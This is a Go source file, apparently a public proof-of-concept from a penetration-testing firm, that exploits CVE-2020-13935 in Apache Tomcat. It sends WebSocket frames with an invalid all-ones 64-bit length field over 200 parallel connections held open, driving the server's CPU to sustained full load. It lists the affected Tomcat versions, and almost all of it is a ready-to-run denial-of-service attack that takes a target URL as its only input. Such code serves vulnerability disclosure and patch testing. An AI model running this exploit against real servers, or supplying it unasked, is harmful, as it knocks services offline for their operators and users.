README.md
Rendering markdown...
/****************************************
* *
* RedTeam Pentesting GmbH *
* [email protected] *
* https://www.redteam-pentesting.de/ *
* *
****************************************/
package main
import (
"bytes"
"fmt"
"os"
"sync"
"time"
"github.com/gorilla/websocket"
)
// CVE-2020-13935
//
// this program exploits a bug in tomcat which leads to continuous,
// high cpu usage if all bits of the length field of a websocket message
// are set to 1.
//
// Affected Versions:
// 10.0.0-M1 to 10.0.0-M6
// 9.0.0.M1 to 9.0.36
// 8.5.0 to 8.5.56
// 8.0.1 to 8.0.53
// 7.0.27 to 7.0.104
//
// see:
// https://bz.apache.org/bugzilla/show_bug.cgi?id=64563
// https://access.redhat.com/security/cve/CVE-2020-13935
func main() {
if err := run(); err != nil {
fmt.Fprintln(os.Stderr, err)
}
}
func sendInvalidWebSocketMessage(url string) error {
ws, _, err := websocket.DefaultDialer.Dial(url, nil)
if err != nil {
return fmt.Errorf("dial: %s", err)
}
// +-+-+-+-+-------+-+-------------+-------------------------------+
// 0 1 2 3
// 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
// +-+-+-+-+-------+-+-------------+-------------------------------+
// |F|R|R|R| opcode|M| Payload len | Extended payload length |
// |I|S|S|S| (4) |A| (7) | (16/64) |
// |N|V|V|V| |S| | (if payload len==126/127) |
// | |1|2|3| |K| | |
// +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
// | Extended payload length continued, if payload len == 127 |
// + - - - - - - - - - - - - - - - +-------------------------------+
// | | Masking-key, if MASK set to 1 |
// +-------------------------------+-------------------------------+
// | Masking-key (continued) | Payload Data |
// +-------------------------------- - - - - - - - - - - - - - - - +
// : Payload Data continued ... :
// + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
// | Payload Data continued ... |
// +---------------------------------------------------------------+
var buf bytes.Buffer
fin := 1
rsv1 := 0
rsv2 := 0
rsv3 := 0
opcode := websocket.TextMessage
buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))
// always set the mask bit
// indicate 64 bit message length
buf.WriteByte(byte(1<<7 | 0b1111111))
// set msb to 1, violating the spec and triggering the bug
buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
// 4 byte masking key
// leave zeros for now, so we do not need to mask
maskingKey := []byte{0, 0, 0, 0}
buf.Write(maskingKey)
// write an incomplete message
buf.WriteString("test")
_, err = ws.UnderlyingConn().Write(buf.Bytes())
if err != nil {
return fmt.Errorf("write: %s", err)
}
// keep the websocket connection open for some time
time.Sleep(30 * time.Second)
return nil
}
func run() error {
if len(os.Args) != 2 {
return fmt.Errorf("usage: %s target_url", os.Args[0])
}
targetURL := os.Args[1]
var wg sync.WaitGroup
for i := 0; i < 200; i++ {
wg.Add(1)
go func() {
defer wg.Done()
if err := sendInvalidWebSocketMessage(targetURL); err != nil {
fmt.Println(err)
}
}()
}
wg.Wait()
return nil
}